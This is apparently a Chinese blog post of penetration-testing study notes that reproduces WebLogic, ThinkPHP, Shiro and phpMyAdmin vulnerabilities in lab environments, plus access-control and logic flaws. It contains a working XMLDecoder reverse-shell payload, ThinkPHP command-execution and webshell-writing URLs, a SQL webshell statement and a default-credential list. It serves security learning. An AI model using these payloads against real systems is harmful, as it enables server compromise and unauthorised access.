weblogic 漏洞

217 阅读8分钟

[TOC]

weblogic 漏洞

WebLogic 介绍

WebLogic 是 Oracle 公司开发的⼀款企业级 Java EE (现 Jakarta EE) 应⽤服务器,是市场上最成熟、功能最全⾯的应⽤服务器之⼀。

核心特性

  1. Java EE 兼容性:完全⽀持 Java EE/Jakarta EE 规范
  2. 集群与⾼可⽤性:⽀持负载均衡和故障转移
  3. 管理控制台:提供基于 Web 的集中管理界⾯
  4. 安全性:集成企业级安全功能
  5. 性能优化:包括连接池、线程池等资源管理
  6. 热部署:⽀持应⽤不中断服务的情况下更新

主要组件

  1. WebLogic Server:核⼼应⽤服务器
  2. Node Manager:远程服务器管理⼯具
  3. Administration Console:基于 Web 的管理界⾯
  4. WLST (WebLogic Scripting Tool):命令⾏和脚本管理⼯具

漏洞利用工具

goby github.com/KimJun1010/…

java -jar WeblogicTool_1.3.jar

image-20250910180535036.png

github.com/0xn0ne/webl…

github.com/rabbitmask/…

weblogic 弱口令漏洞cd

漏洞描述

http://your-ip:7001/console 即可进⼊后台,由于管理员的疏忽,有可能会设置⼀些弱⼝令,攻击者可以通过常⻅的⼝令猜解进⼊后台,再通过后台getshell。

影响范围

全版本

漏洞复现

  1. 启动vulhub-master\weblogic\weak_password环境,访问后台地址:http://your-ip:7001/console

image-20250908183629968.png

image-20250909212326893.png

  1. 常⻅的弱⼝令组合

    system:password
    weblogic:weblogic
    admin:secruity
    joe:password
    mary:password
    system:sercurity
    wlcsystem: wlcsystem
    weblogic:Oracle@123
    
  2. 本环境输⼊weblogic:Oracle@123即可登录后台

image-20250909213952928.png

  1. 点击->部署->安装

image-20250909215215298.png

  1. 点击上传文件

image-20250909215233536.png

image-20250909215338554.png

image-20250909220118646.png

上传成功

image-20250909220200076.png

用蚁剑链接

image-20250909220242413.png

CVE-2014-4210 SSRF漏洞

漏洞描述

SSRF(Server-Side Request Forgery),服务端请求伪造,是⼀种由攻击者构造形成由服务端发起请求的⼀个漏洞,⼀般情况下,SSRF攻击的⽬标是从外部⽹络⽆法访问的内部系统。

影响范围

10.0.2,10.3.6

漏洞复现

  1. 启动靶场

image-20250909161749355.png 2. 访问漏洞存在地址

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

3. 点击Search之后抓包

image-20250909161921675.png

  1. 对operator参数进⾏修改,观察现象探测结果

    端口存在:

image-20250909164115593.png 端口不存在:

image-20250909164153325.png

CVE-2017-10271 XMLDecoder反序列化漏洞

漏洞描述

Weblogic的WLS Security组件对外提供webservice服务,其中使⽤了XMLDecoder来解析⽤户传⼊的XML数据,在解析的过程中出现反序列化漏洞,导致可执⾏任意命令。攻击者发送精⼼构造的xml数据甚⾄能通过反弹shell拿到权限。

影响范围影响范围

10.3.6.0,12.1.3.0.0,12.2.1.1.0

漏洞复现

  1. 访问漏洞地址,如果存在如下则可能存在漏洞
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

image-20250909164506355.png

  1. 对该漏洞⻚⾯进⾏抓包,修改请求⽅式为POST和请求字段Content-Type:text/xml,然后后添加如下poc

    <soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelop
    e/"><soapenv:Header>
    <work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/">
    <javaversion="1.4.0" class="java.beans.XMLDecoder">
    <voidclass="java.lang.ProcessBuilder">
    <arrayclass="java.lang.String" length="3">
    <voidindex="0">
    <string>/bin/bash</string>
    </void>
    <voidindex="1">
    <string>-c</string>
    </void>
    <voidindex="2">
    <string>bash-i &gt;&amp; /dev/tcp/192.168.3.130/44440&gt;&amp;1</string>
    </void>
    </array>
    <voidmethod="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>
    

image-20250909165207759.png


thinkphp 5.x命令执行漏洞

ThinkPHP是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应⽤系统运⾏环境要求视开发所涉及的模块。

body特征

body⾥有"⼗年磨⼀剑" 或者"ThinkPHP"

image-20250909212223208.png image-20250909165847452.png

漏洞利用

ThinkPHP 2.x/3.0 GetShell

漏洞介绍

ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

环境搭建
vulhub-master\thinkphp\2-rce
docker-compose up -d

image-20250909170124825.png

验证漏洞
http://192.168.153.1:8080/index.php?s=/index/index/name/${@phpinfo()}
http://192.168.153.1:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D)}
http://192.168.153.1:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

image-20250909195729088.png

ThinkPHP 5.x GetShell

⾸先明确ThinkPHP框架系列版本。根据ThinkPHP版本,如是0.x版本,即可使⽤ThinkPHP 5.x远程代码 执⾏漏洞,⽆需登录,即可执⾏任意命令,获取服务器最⾼权限。

环境搭建
vulhub-master\thinkphp\5-rce
docker-compose up -d

image-20250909205014051.png

验证漏洞

任意代码执⾏

http://192.168.184.132:8080/index.php?s=index/think\app/invokefunction&functi
on=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20250909205014051.png 写⼊webshell

http://192.168.184.132:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=<?php eval($_POST['zcc']);?>

image-20250909210000830.png

image-20250909210106020.png

Thinkphp5 敏感信息泄露漏洞

thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

环境搭建
vulhub-master\thinkphp\in-sqlinjection
docker-compose up -d

image-20250910174705919.png

验证漏洞

访问下⾯链接,信息成功被爆出,这是⼀个⽐较鸡肋的SQL注⼊漏洞。但通过DEBUG⻚⾯,我们找 到了数据库的账号、密码:

http://192.168.153.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

image-20250910181449525.png

image-20250910181512287.png

工具利用

github.com/Lotus6/Thin…

java -jar ThinkphpGUI-1.3-SNAPSHOT.jar

image-20250910183959181.png

Shiro反序列化漏洞

反序列化介绍

序列化:把对象转换为字节序列的过程称为对象的序列化。

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

mage class {
string students;
int age
}
mage_C1 = new mage();

在反序列化时,存在⽤户可控的参数,并且在读取反序列化内容时存在危险的调⽤函数,造成反序列化漏洞。

通过浏览器进⾏访问的时候,我们看到的⽂本、图⽚、⾳频、视频等都是通过⼆进制序列进⾏传输的,那么如果我们需要将代码对象进⾏传输的时候,是不是也应该先将代码对象进⾏序列化?答案是肯定的,我们需要先将代码对象进⾏序列化(否则会造成代码格式被破坏、内容丢失),然后通过⽹络进⾏传输,当到达⽬的地之后,再进⾏反序列化还原成代码对象,最后完成通信

⽽反序列化漏洞就出现在把数据还原成代码对象的过程中,在这个过程中,应⽤需要根据数据的内容,去调⽤特定的⽅法。⽽⿊客正是利⽤这个逻辑,在数据中嵌⼊⾃定义的代码(⽐如执⾏某个系统命令),应⽤对数据进⾏反序列化的时候,会执⾏这段代码,从⽽使得⿊客能够控制整个应⽤及服务器。

漏洞原因:

主要是程序没有对⽤户输⼊的内容进⾏检测和过滤, 导致反序列化过程可以被恶意控制, 造成代码执⾏、 getshell等⼀系列攻击。

涉及语言:

反序列化漏洞并不是存在于某⼀特定语⾔中的现象,⽽是多种编程语⾔中普遍存在的问题(⽐如:PHP、 Java、Python等,只要该语⾔涉及到序列化和反序列化就有可能存在),且基本原理是相通的。其中,Java 因为使⽤范围⼴泛,本身体积也⽐较庞⼤,所以被曝出的反序列化漏洞最多,如:JBoss反序列化漏洞、Spring框架反序列化漏洞、Fastjson反序列化漏洞、Apache Shiro反序列化漏洞等。

检测方法

WeblogicTool_1.3.jar

image-20250910180847557.png

JenkinsExploit-GUI

image-20250910181107397.png

image-20250910181010844.png

image-20250910181217772.png

image-20250910181206200.png

漏洞复现

Shiro反序列化漏洞(CVE-2016-4437、Shiro-550)

漏洞概述

Apache Shiro是⼀款开源Java安全框架,提供身份验证、授权、密码和会话管理等功能。在Apache Shiro的框架中,执⾏身份验证时提供了⼀个记住密码的功能(RememberMe),如果⽤户登录时勾选了这个选项,登录后请求数据包中的Cookie字段将会多出⼀段数据,这⼀段数据包含了⽤户的身份信息,且是经过加密的,加密过程:

⽤户信息--> 序列化--> AES加密(这⼀步需要⽤密钥key)--> Base64编码--> Remember Me Cookie值

识别身份的时候,服务端需要对Cookie⾥的RememberMe字段解密。根据加密的顺序,反推解密过程:

RememberMe Cookie值--> Base64解码--> AES解密--> 反序列化(未作过滤处理)--> ⽤户信息

RememberMe字段进⾏解码、解密,反序列化等,这⼀过程未进⾏过滤,最终造成该漏洞,实现远程命令执⾏。

影响范围

Apache Shiro ≤ 1.2.4

环境搭建

vulhub-master\shiro\CVE-2016-4437

image-20250910184730001.png

在vulhub的CVE-2016-4437漏洞复现环境中,默认的登录账号密码为:

‌用户名‌: admin ‌密码‌: vulhub

漏洞演示

  1. ⾸先判断⽬标⽹站是否使⽤了Shiro框架进⾏身份验证、授权、密码和会话管理,具体⽅法是:勾选记住密码选项后,点击登录、抓包,观察请求包中是否有RememberMe字段:

image-20250910184912804.png

1.未登录的情况下,请求包的Cookie中没有RememberMe字段,返回包set-Cookie⾥也没有delet
eMe字段
2.登录失败的话,不管有没有勾选“Remember me",返回包都会有RememberMe=deleteMe字段
3.不勾选“Remember me",登录成功的话,返回包set-Cookie⾥有RememberMe=deleteMe字
段,但是之后的所有请求中Cookie都不会有RememberMe字段
4.勾选“Remember me",登录成功的话,返回包set-Cookie⾥有RememberMe=deleteMe字段,
还会有RememberMe的加密字段,之后的所有请求中Cookie都会有RememberMe字段

image-20250910185354571.png

  1. 接下来开始进⾏漏洞检测,Shiro反序列化漏洞的检测会⾯临⼀些问题: (1)漏洞⽆法回显 (2)系统环境复杂 (3)AES的key可能被修改

    对于前两个问题,可以通过DNSLog平台(www.dnslog.cn)盲打来进⾏漏洞的检测;对于第三个问题,可以通过信息收集、⽂件读取、暴⼒破解等⽅法来获取key。

    针对Shiro反序列化漏洞,主流⽅法是使⽤专业的漏洞利⽤⼯具来进⾏检测。

Hyacinth

  1. 输入URL,点击爆破密钥

image-20250910185722803.png

  1. 点击爆破利用链

image-20250910185758546.png

  1. 手动应用利用链,执行命令或注入内存马

image-20250910185924469.png


phpmyadmin 漏洞

phpMyAdmin简介

phpMyAdmin 是⼀个⽤php编写的免费软件⼯具,旨在通过Web友好界⾯处理MySQL的管理。phpMyAdmin ⽀持对 MySQL 和 MariaDB 数据库的⼴泛操作。经常使⽤的操作(有如管理数据库、表、列、关系、索引、⽤户、权限等)可以通过⽤户界⾯执⾏,当然您也可以直接执⾏任何SQL 语句。

phpmyadmin安装

image-20250910195407104.png

image-20250910200232546.png

查看phpmyadmin版本

直接在phpmyadmin的url后加下⾯⽂件路径爆出:

/readme
/changelog
/Change
/changelog.php
/Documetation.html
/Documetation.txt
/translators.html
/doc/html/index.html

image-20250910200318529.png

phpmyadmin弱口令漏洞getshell

利用工具

github.com/mRJ0hN1/php…

getshell实用方法

  1. 通过sql写⼊getshell

    secure-file-priv参数是⽤来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定 ⽬录的。 ure_file_priv的值为null ,表示限制mysqld 不允许导⼊|导出 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导⼊|导出只能发⽣在/tmp/⽬录下 当secure_file_priv的值没有具体值时,表示不对mysqld 的导⼊|导出做限制

    # == null 则没有条件,换成⽇志写⼊ (secure_file_priv值可在mysql中的my.ini中修
    改)
    show VARIABLES like '%secure_file_priv%'
    show global variables like "secure%" 也可以查询
    # 写⼊shell语句
    select '<?php eval($_POST["pwd"]); ?>' into outfile 'D:/phpStudy_pro/WW
    W/shell.php';
    # 其他常⽤语句
    show variables like '%char%' === 查看系统变量
    select @@datadir ==== 系统路径
    set PASSWORD=PASSWORD("****") ========改登⼊密码(危害⼤)
    
  2. 利⽤⽇志getshell

    因为默认账号密码不正确问题,暂时无法复现


越权漏洞

漏洞原理

越权访问(Broken Access Control)是Web应⽤程序中⼀种常⻅的漏洞,由于其存在范围⼴、危害⼤,常常被OWASP列为Web应⽤⼗⼤安全隐患的第⼀名。

该漏洞是指应⽤在检查授权时存在纰漏,使得攻击者在登录低权限账户后,利⽤⼀些⽅式绕过权限检查,访问或者操作其他⽤户信息或者获取更⾼权限。

越权漏洞的成因主要是因为开发⼈员在对数据进⾏增、删、改、查时,过分相信来⾃客户端的请求数据⽽遗漏了权限的判定。

水平越权:

指相同权限下不同的⽤户可以互相访问。

⽔平越权测试⽅法:要通过看看能否通过A⽤户操作影响到B⽤户。

垂直越权:

指使⽤权限低的⽤户可以访问到权限较⾼的⽤户。

垂直越权测试⽅法:看看低权限⽤户是否能越权使⽤⾼权限⽤户的功能,⽐如普通⽤户可以使⽤管理员的功能。

水平越权还原

⾸先lucy使⽤⾃⼰的账户 lucy/123456 登录系统,查看⾃⼰的个⼈信息,信息如下:

image-20250911131843281.png

此时,通过更改username=kobe,即可查看到kobe的个⼈信息,造成⽔平越权

image-20250911131929809.png

垂直越权还原

垂直越权⼜称纵向越权,指使⽤权限低的⽤户可以访问到权限较⾼的⽤户。⽐如A⽤户权限⽐B⽤户低,如果A可以访问理论上只有B才能访问的资源,或者执⾏理论上B才能执⾏的操作,那就实现了垂直越权。

这⾥有两个⽤户 admin/123456:admin是超级管理员,具备添加/删除⽤户权限 pikachu/000000:pikachu⽤户仅仅具备查看权限,不具备添加/删除⽤户权限

image-20250911132008651.png

添加⽤户的接⼝如下:

http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php

更改cookie值为pikachu用户后可以直接调用添加用户功能,造成垂直越权。

image-20250911132629837.png


逻辑漏洞

漏洞原理

由于程序逻辑输⼊管控不严,导致程序不能够正常处理或处理错误,进⽽产⽣的漏洞。⼀般出现在登 录、注册、密码找回、信息查看、交易⽀付⾦额等位置,由于逻辑漏洞产⽣的流量多数为合法流量,⼀ 般的防护⼿段或设备⽆法阻⽌,也导致了逻辑漏洞成为企业防护中的难题。

漏洞挖掘

注册处

注册功能可能出现任意⽤户注册、短信轰炸等问题。

前端验证:判断是否有任意⽤户注册漏洞

⼿机验证码:短信轰炸、验证码是否可以暴⼒破解(0000-9999),验证码与当前⼿机号有没有检验匹配

账号密码注册:是否可以批量注册

登录处

登录处可能出现任意⽤户登录、短信轰炸等问题。

前端验证:判断是否有任意⽤户登录,是否有验证码回显,是否可以修改返回包造成任意⽤户登录等问题

⼿机验证码:验证码是否可以暴⼒破解(0000-9999),验证码与当前⼿机号有没有检验匹配账号密码登录:没有验证码、验证码失效、验证码可以重复利⽤或者验证码绕过等情况,导致进⾏暴⼒破解

密码找回处

  1. 前端验证绕过

  2. 验证码是否可以多次使⽤

  3. 验证码是否直接返回在数据包中

  4. 验证码未绑定⽤户

  5. 修改接收的⼿机或邮箱进⾏密码重置

  6. 验证步骤绕过(举例:先获取⼿机验证码,再输⼊要修改的邮箱或密码)

  7. 未校验⽤户字段的值(举例:修改密码处user_id可替换)

支付与越权

  1. 提交订单或者结算时对⾦额等参数进⾏修改(单价、总价)
  2. 提交订单时修改商品参数(低价购买⾼价商品)
  3. 修改⽀付接⼝等等(将⽀付链接发给别⼈,这也解释了为什么⽀付宝在⽀付的时候还要再输⼀次密码)

暴力破解

暴⼒破解是⼀种针对密码的破译⽅法,将密码进⾏逐个推算直到找出正确的密码为⽌。

暴⼒破解的产⽣是由于服务器或者系统没有对接收的参数进⾏限制,导致攻击者可以通过暴⼒⼿段破解所需要的信息(如账号,密码,验证码等)。暴⼒破解的原理就是穷举法,其基本思想是根据部分已知条件确定⼤致范围,并在此范围内对所有可能的情况逐⼀验证,直到全部情况验证完毕。

字典推荐

github.com/TheKingOfDu…

B/S架构暴力破解

B/S架构即浏览器/服务器结构,参考pikachu靶场中的基于表单的暴⼒破解场景演示

image-20250911133834467.png

抓包发送到Intuder

image-20250911134711412.png 添加playload位置和配置,可以在资源池调整攻击速度和次数

image-20250911135059504.png

爆破成功

image-20250911135307453.png